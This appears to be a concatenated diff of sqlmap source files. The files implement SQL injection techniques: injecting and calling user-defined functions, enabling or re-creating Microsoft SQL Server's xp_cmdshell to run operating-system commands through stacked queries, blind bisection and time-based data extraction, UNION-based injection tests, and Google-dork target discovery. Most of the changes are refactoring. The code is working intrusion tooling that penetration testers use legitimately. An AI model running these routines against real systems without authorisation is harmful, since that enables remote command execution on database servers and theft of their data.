if isinstance(udfCount, str) and udfCount.isdigit():
|
||||
udfCount = int(udfCount)
|
||||
|
||||
if udfCount <= 0:
|
||||
logger.info("nothing to inject then")
|
||||
return
|
||||
else:
|
||||
break
|
||||
|
||||
elif isinstance(udfCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
|
||||
for x in range(0, udfCount):
|
||||
while True:
|
||||
msg = "what is the name of the UDF number %d? " % (x + 1)
|
||||
udfName = readInput(msg)
|
||||
|
||||
if udfName:
|
||||
self.udfs[udfName] = {}
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the name of the UDF")
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
defaultType = "string"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
defaultType = "text"
|
||||
|
||||
self.udfs[udfName]["input"] = []
|
||||
|
||||
default = 1
|
||||
msg = "how many input parameters takes UDF "
|
||||
msg += "'%s'? (default: %d) " % (udfName, default)
|
||||
|
||||
while True:
|
||||
parCount = readInput(msg, default=default)
|
||||
|
||||
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
|
||||
parCount = int(parCount)
|
||||
break
|
||||
|
||||
elif isinstance(parCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||
|
||||
for y in range(0, parCount):
|
||||
msg = "what is the data-type of input parameter "
|
||||
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||
|
||||
while True:
|
||||
parType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(parType, str) and parType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the parameter")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["input"].append(parType)
|
||||
break
|
||||
|
||||
msg = "what is the data-type of the return "
|
||||
msg += "value? (default: %s) " % defaultType
|
||||
|
||||
while True:
|
||||
retType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(retType, str) and retType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the return value")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["return"] = retType
|
||||
break
|
||||
|
||||
self.udfInjectCore(self.udfs)
|
||||
|
||||
msg = "do you want to call your injected user-defined "
|
||||
msg += "functions now? [Y/n/q] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ( "y", "Y" ):
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
return
|
||||
|
||||
while True:
|
||||
udfList = []
|
||||
msg = "which UDF do you want to call?"
|
||||
|
||||
for udf, inpRet in self.udfs.items():
|
||||
udfList.append(udf)
|
||||
msg += "\n[%d] %s" % (len(udfList), udf)
|
||||
|
||||
msg += "\n[q] Quit"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg)
|
||||
|
||||
if choice[0] in ( "q", "Q" ):
|
||||
break
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, only digits >= 1 and "
|
||||
warnMsg += "<= %d are allowed" % len(udfList)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
cmd = ""
|
||||
count = 1
|
||||
udfToCall = udfList[choice - 1]
|
||||
|
||||
for inp in self.udfs[udfToCall]["input"]:
|
||||
msg = "what is the value of the parameter number "
|
||||
msg += "%d (data-type: %s)? " % (count, inp)
|
||||
|
||||
while True:
|
||||
parValue = readInput(msg)
|
||||
|
||||
if parValue:
|
||||
if "int" not in inp and "bool" not in inp:
|
||||
parValue = "'%s'" % parValue
|
||||
|
||||
cmd += "%s," % parValue
|
||||
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the value of the parameter")
|
||||
|
||||
count += 1
|
||||
|
||||
cmd = cmd[:-1]
|
||||
msg = "do you want to retrieve the return value of the "
|
||||
msg += "UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] in ("y", "Y"):
|
||||
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
||||
|
||||
if output:
|
||||
dumper.string("return value", output)
|
||||
else:
|
||||
print "No return value"
|
||||
else:
|
||||
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||
|
||||
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ("y", "Y"):
|
||||
break
|
||||
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
@@ -37,7 +35,6 @@ from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
|
||||
class UPX:
|
||||
"""
|
||||
This class defines methods to compress binary files with UPX (Ultimate
|
||||
@@ -52,7 +49,7 @@ class UPX:
|
||||
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
elif "win" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
elif "linux" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
@@ -69,7 +66,6 @@ class UPX:
|
||||
if dstFile:
|
||||
self.__upxCmd += " -o %s" % dstFile
|
||||
|
||||
|
||||
def pack(self, srcFile, dstFile=None):
|
||||
self.__initialize(srcFile, dstFile)
|
||||
|
||||
@@ -80,30 +76,27 @@ class UPX:
|
||||
pollProcess(process)
|
||||
upxStdout, upxStderr = process.communicate()
|
||||
|
||||
warnMsg = "failed to compress the file"
|
||||
msg = "failed to compress the file"
|
||||
|
||||
if "NotCompressibleException" in upxStdout:
|
||||
warnMsg += " because you provided a Metasploit version above "
|
||||
warnMsg += "3.3-dev revision 6681. This will not inficiate "
|
||||
warnMsg += "the correct execution of sqlmap. It might "
|
||||
warnMsg += "only slow down a bit the execution of sqlmap"
|
||||
logger.info(warnMsg)
|
||||
msg += " because you provided a Metasploit version above "
|
||||
msg += "3.3-dev revision 6681. This will not inficiate "
|
||||
msg += "the correct execution of sqlmap. It might "
|
||||
msg += "only slow down a bit the execution"
|
||||
logger.debug(msg)
|
||||
|
||||
elif upxStderr:
|
||||
logger.warn(warnMsg)
|
||||
logger.warn(msg)
|
||||
|
||||
else:
|
||||
return os.path.getsize(srcFile)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def unpack(self, srcFile, dstFile=None):
|
||||
pass
|
||||
|
||||
|
||||
def verify(self, filePath):
|
||||
pass
|
||||
|
||||
|
||||
upx = UPX()
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.blind.timebased import timeUse
|
||||
|
||||
|
||||
class xp_cmdshell:
|
||||
"""
|
||||
This class defines methods to deal with Microsoft SQL Server
|
||||
@@ -44,9 +41,7 @@ class xp_cmdshell:
|
||||
def __init__(self):
|
||||
self.xpCmdshellStr = "master..xp_cmdshell"
|
||||
|
||||
|
||||
def __xpCmdshellCreate(self):
|
||||
# TODO: double-check that this method works properly
|
||||
cmd = ""
|
||||
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
@@ -73,7 +68,6 @@ class xp_cmdshell:
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
|
||||
|
||||
def __xpCmdshellConfigure2005(self, mode):
|
||||
debugMsg = "configuring xp_cmdshell using sp_configure "
|
||||
debugMsg += "stored procedure"
|
||||
@@ -87,7 +81,6 @@ class xp_cmdshell:
|
||||
|
||||
return cmd
|
||||
|
||||
|
||||
def __xpCmdshellConfigure2000(self, mode):
|
||||
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
||||
debugMsg += "stored procedure"
|
||||
@@ -101,7 +94,6 @@ class xp_cmdshell:
|
||||
|
||||
return cmd
|
||||
|
||||
|
||||
def __xpCmdshellConfigure(self, mode):
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
cmd = self.__xpCmdshellConfigure2005(mode)
|
||||
@@ -110,7 +102,6 @@ class xp_cmdshell:
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
|
||||
|
||||
def __xpCmdshellCheck(self):
|
||||
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
|
||||
duration = timeUse(query)
|
||||
@@ -120,34 +111,31 @@ class xp_cmdshell:
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def xpCmdshellForgeCmd(self, cmd):
|
||||
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
|
||||
|
||||
|
||||
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
|
||||
if forgeCmd == True:
|
||||
if forgeCmd:
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked(cmd, silent)
|
||||
|
||||
|
||||
def xpCmdshellEvalCmd(self, cmd):
|
||||
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
||||
self.getRemoteTempPath()
|
||||
|
||||
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
|
||||
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
|
||||
self.delRemoteFile(tmpFile)
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
@@ -157,7 +145,6 @@ class xp_cmdshell:
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def xpCmdshellInit(self, mandatory=True):
|
||||
self.__xpCmdshellAvailable = False
|
||||
|
||||
@@ -167,7 +154,7 @@ class xp_cmdshell:
|
||||
|
||||
result = self.__xpCmdshellCheck()
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
logger.info("xp_cmdshell extended procedure is available")
|
||||
self.__xpCmdshellAvailable = True
|
||||
|
||||
@@ -180,7 +167,7 @@ class xp_cmdshell:
|
||||
if not choice or choice in ("y", "Y"):
|
||||
self.__xpCmdshellConfigure(1)
|
||||
|
||||
if self.__xpCmdshellCheck() == True:
|
||||
if self.__xpCmdshellCheck():
|
||||
logger.info("xp_cmdshell re-enabled successfully")
|
||||
self.__xpCmdshellAvailable = True
|
||||
|
||||
@@ -191,7 +178,7 @@ class xp_cmdshell:
|
||||
self.__xpCmdshellConfigure(0)
|
||||
self.__xpCmdshellCreate()
|
||||
|
||||
if self.__xpCmdshellCheck() == True:
|
||||
if self.__xpCmdshellCheck():
|
||||
logger.info("xp_cmdshell created successfully")
|
||||
self.__xpCmdshellAvailable = True
|
||||
|
||||
@@ -200,14 +187,14 @@ class xp_cmdshell:
|
||||
warnMsg += "because sp_OACreate is disabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if self.__xpCmdshellAvailable == False and mandatory == False:
|
||||
if not self.__xpCmdshellAvailable and not mandatory:
|
||||
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
||||
warnMsg += "try to proceed without it"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
elif self.__xpCmdshellAvailable == False:
|
||||
elif not self.__xpCmdshellAvailable:
|
||||
errMsg = "unable to proceed without xp_cmdshell"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
@@ -43,9 +41,7 @@ from lib.core.exception import unhandledException
|
||||
from lib.core.progress import ProgressBar
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def bisection(payload, expression, length=None, charsetType=None):
|
||||
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
on an affected host
|
||||
@@ -56,6 +52,24 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
|
||||
asciiTbl = getCharset(charsetType)
|
||||
|
||||
if "LENGTH(" in expression or "LEN(" in expression:
|
||||
firstChar = 0
|
||||
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
|
||||
firstChar = int(conf.firstChar) - 1
|
||||
elif firstChar is None:
|
||||
firstChar = 0
|
||||
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
|
||||
firstChar = int(firstChar) - 1
|
||||
|
||||
if "LENGTH(" in expression or "LEN(" in expression:
|
||||
lastChar = 0
|
||||
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
|
||||
lastChar = int(conf.lastChar)
|
||||
elif lastChar in ( None, "0" ):
|
||||
lastChar = 0
|
||||
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
||||
lastChar = int(lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
@@ -73,15 +87,18 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
if length == 0:
|
||||
return 0, ""
|
||||
|
||||
showEta = conf.eta and isinstance(length, int)
|
||||
if lastChar > 0 and length > ( lastChar - firstChar ):
|
||||
length = ( lastChar - firstChar )
|
||||
|
||||
showEta = conf.eta and isinstance(length, int)
|
||||
numThreads = min(conf.threads, length)
|
||||
threads = []
|
||||
threads = []
|
||||
|
||||
if showEta:
|
||||
progress = ProgressBar(maxValue=length)
|
||||
progressTime = []
|
||||
|
||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
||||
if conf.verbose >= 1 and not showEta:
|
||||
if isinstance(length, int) and conf.threads > 1:
|
||||
infoMsg = "starting %d threads" % numThreads
|
||||
logger.info(infoMsg)
|
||||
@@ -92,8 +109,6 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||
|
||||
queriesCount = [0] # As list to deal with nested scoping rules
|
||||
|
||||
|
||||
def getChar(idx, asciiTbl=asciiTbl):
|
||||
maxValue = asciiTbl[len(asciiTbl)-1]
|
||||
minValue = 0
|
||||
@@ -105,7 +120,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
forgedPayload = payload % (expressionUnescaped, idx, posValue)
|
||||
result = Request.queryPage(forgedPayload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
minValue = posValue
|
||||
asciiTbl = asciiTbl[position:]
|
||||
else:
|
||||
@@ -117,8 +132,6 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
return None
|
||||
else:
|
||||
return chr(minValue + 1)
|
||||
|
||||
|
||||
def etaProgressUpdate(charTime, index):
|
||||
if len(progressTime) <= ( (length * 3) / 100 ):
|
||||
eta = 0
|
||||
@@ -130,15 +143,11 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
progressTime.append(charTime)
|
||||
progress.update(index)
|
||||
progress.draw(eta)
|
||||
|
||||
|
||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||
value = [None] * length
|
||||
index = [0] # As list for python nested function scoping
|
||||
value = [ None ] * length
|
||||
index = [ firstChar ] # As list for python nested function scoping
|
||||
idxlock = threading.Lock()
|
||||
iolock = threading.Lock()
|
||||
|
||||
|
||||
def downloadThread():
|
||||
try:
|
||||
while True:
|
||||
@@ -156,14 +165,14 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
charStart = time.time()
|
||||
val = getChar(curidx)
|
||||
|
||||
if val == None:
|
||||
if val is None:
|
||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
||||
value[curidx-1] = val
|
||||
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index[0])
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
elif conf.verbose >= 1:
|
||||
s = "".join([c or "_" for c in value])
|
||||
iolock.acquire()
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||
@@ -191,8 +200,6 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
errMsg = unhandledException()
|
||||
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||
traceback.print_exc()
|
||||
|
||||
|
||||
# Start the threads
|
||||
for numThread in range(numThreads):
|
||||
thread = threading.Thread(target=downloadThread)
|
||||
@@ -207,7 +214,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
# can mean that the connection to the target url was lost
|
||||
if None in value:
|
||||
for v in value:
|
||||
if isinstance(v, str) and v != None:
|
||||
if isinstance(v, str) and v is not None:
|
||||
partialValue += v
|
||||
|
||||
if partialValue:
|
||||
@@ -220,18 +227,18 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
if isinstance(finalValue, str) and len(finalValue) > 0:
|
||||
dataToSessionFile(replaceNewlineTabs(finalValue))
|
||||
|
||||
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
|
||||
if conf.verbose >= 1 and not showEta and infoMsg:
|
||||
dataToStdout(infoMsg)
|
||||
|
||||
else:
|
||||
index = 0
|
||||
index = firstChar
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
charStart = time.time()
|
||||
val = getChar(index, asciiTbl)
|
||||
|
||||
if val == None:
|
||||
if val is None or ( lastChar > 0 and index > lastChar ):
|
||||
break
|
||||
|
||||
finalValue += val
|
||||
@@ -240,10 +247,10 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index)
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
elif conf.verbose >= 1:
|
||||
dataToStdout(val)
|
||||
|
||||
if conf.verbose in ( 1, 2 ) or showEta:
|
||||
if conf.verbose >= 1 or showEta:
|
||||
dataToStdout("\n")
|
||||
|
||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
@@ -33,8 +31,6 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def timeTest():
|
||||
infoMsg = "testing time based blind sql injection on parameter "
|
||||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||
@@ -82,8 +78,6 @@ def timeTest():
|
||||
kb.timeTest = False
|
||||
|
||||
return kb.timeTest
|
||||
|
||||
|
||||
def timeUse(query):
|
||||
start = time.time()
|
||||
_, _ = inject.goStacked(query)
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
@@ -35,7 +33,6 @@ from lib.core.unescaper import unescaper
|
||||
from lib.parse.html import htmlParser
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __unionPosition(negative=False, falseCond=False):
|
||||
if negative or falseCond:
|
||||
negLogMsg = "partial (single entry)"
|
||||
@@ -93,7 +90,6 @@ def __unionPosition(negative=False, falseCond=False):
|
||||
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def __unionConfirm():
|
||||
# Confirm the inband SQL injection and get the exact column
|
||||
# position
|
||||
@@ -121,7 +117,6 @@ def __unionConfirm():
|
||||
else:
|
||||
conf.paramFalseCond = True
|
||||
|
||||
|
||||
def __forgeUserFriendlyValue(payload):
|
||||
value = ""
|
||||
|
||||
@@ -139,7 +134,6 @@ def __forgeUserFriendlyValue(payload):
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def __unionTestByNULLBruteforce(comment):
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
@@ -173,7 +167,6 @@ def __unionTestByNULLBruteforce(comment):
|
||||
|
||||
return value, columns
|
||||
|
||||
|
||||
def __unionTestByOrderBy(comment):
|
||||
columns = None
|
||||
value = None
|
||||
@@ -197,7 +190,6 @@ def __unionTestByOrderBy(comment):
|
||||
|
||||
return value, columns
|
||||
|
||||
|
||||
def unionTest():
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
@@ -39,10 +37,8 @@ from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
reqCount = 0
|
||||
|
||||
|
||||
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
|
||||
"""
|
||||
This function tests for an inband SQL injection on the target
|
||||
@@ -60,7 +56,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||
|
||||
global reqCount
|
||||
|
||||
if resetCounter == True:
|
||||
if resetCounter:
|
||||
reqCount = 0
|
||||
|
||||
if not kb.unionCount:
|
||||
@@ -74,7 +70,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||
expression = agent.concatQuery(expression, unpack)
|
||||
expression = unescaper.unescape(expression)
|
||||
|
||||
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
|
||||
if ( conf.paramNegative or conf.paramFalseCond ) and not direct:
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
@@ -141,7 +137,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||
else:
|
||||
test = True
|
||||
|
||||
if test == True:
|
||||
if test:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.common import getDelayQuery
|
||||
@@ -33,9 +31,8 @@ from lib.core.data import logger
|
||||
from lib.core.session import setStacked
|
||||
from lib.request import inject
|
||||
|
||||
|
||||
def stackedTest():
|
||||
if kb.stackedTest != None:
|
||||
if kb.stackedTest is not None:
|
||||
return kb.stackedTest
|
||||
|
||||
infoMsg = "testing stacked queries support on parameter "
|
||||
@@ -53,7 +50,6 @@ def stackedTest():
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.stackedTest = payload
|
||||
|
||||
else:
|
||||
warnMsg = "the web application does not support stacked queries "
|
||||
warnMsg += "on parameter '%s'" % kb.injParameter
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import re
|
||||
import urllib2
|
||||
@@ -31,8 +29,9 @@ import urllib2
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
|
||||
from lib.request.basic import decodePage
|
||||
|
||||
class Google:
|
||||
"""
|
||||
@@ -47,7 +46,6 @@ class Google:
|
||||
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
||||
self.opener.addheaders = conf.httpHeaders
|
||||
|
||||
|
||||
def __parsePage(self, page):
|
||||
"""
|
||||
Parse Google dork search results page to get the list of
|
||||
@@ -61,7 +59,6 @@ class Google:
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def getTargetUrls(self):
|
||||
"""
|
||||
This method returns the list of hosts with parameters out of
|
||||
@@ -72,7 +69,6 @@ class Google:
|
||||
if re.search("(.*?)\?(.+)", match, re.I):
|
||||
kb.targetUrls.add(( match, None, None, None ))
|
||||
|
||||
|
||||
def getCookie(self):
|
||||
"""
|
||||
This method is the first to be called when initializing a
|
||||
@@ -90,23 +86,47 @@ class Google:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
|
||||
def search(self, googleDork):
|
||||
"""
|
||||
This method performs the effective search on Google providing
|
||||
the google dork and the Google session cookie
|
||||
"""
|
||||
|
||||
gpage = conf.googlePage if conf.googlePage > 1 else 1
|
||||
|
||||
if not googleDork:
|
||||
return None
|
||||
|
||||
url = "http://www.google.com/search?"
|
||||
url += "q=%s&" % urlencode(googleDork)
|
||||
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
||||
url += "&start=%d" % ((gpage-1) * 100)
|
||||
|
||||
try:
|
||||
conn = self.opener.open(url)
|
||||
page = conn.read()
|
||||
|
||||
requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url
|
||||
#requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()])
|
||||
#requestMsg += "\n%s" % requestHeaders
|
||||
requestMsg += "\n"
|
||||
logger.log(9, requestMsg)
|
||||
|
||||
page = conn.read()
|
||||
code = conn.code
|
||||
status = conn.msg
|
||||
responseHeaders = conn.info()
|
||||
|
||||
encoding = responseHeaders.get("Content-Encoding")
|
||||
page = decodePage(page, encoding)
|
||||
|
||||
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
|
||||
|
||||
if conf.verbose <= 4:
|
||||
responseMsg += str(responseHeaders)
|
||||
elif conf.verbose > 4:
|
||||
responseMsg += "%s\n%s\n" % (responseHeaders, page)
|
||||
|
||||
logger.log(8, responseMsg)
|
||||
except urllib2.HTTPError, e:
|
||||
page = e.read()
|
||||
except urllib2.URLError, e:
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.session import setParenthesis
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkForParenthesis():
|
||||
"""
|
||||
This method checks if the SQL injection affected parameter
|
||||
@@ -46,7 +43,7 @@ def checkForParenthesis():
|
||||
|
||||
count = 0
|
||||
|
||||
if kb.parenthesis != None:
|
||||
if kb.parenthesis is not None:
|
||||
return
|
||||
|
||||
if conf.prefix or conf.postfix:
|
||||
@@ -76,7 +73,7 @@ def checkForParenthesis():
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
count = parenthesis
|
||||
|
||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||
|
||||
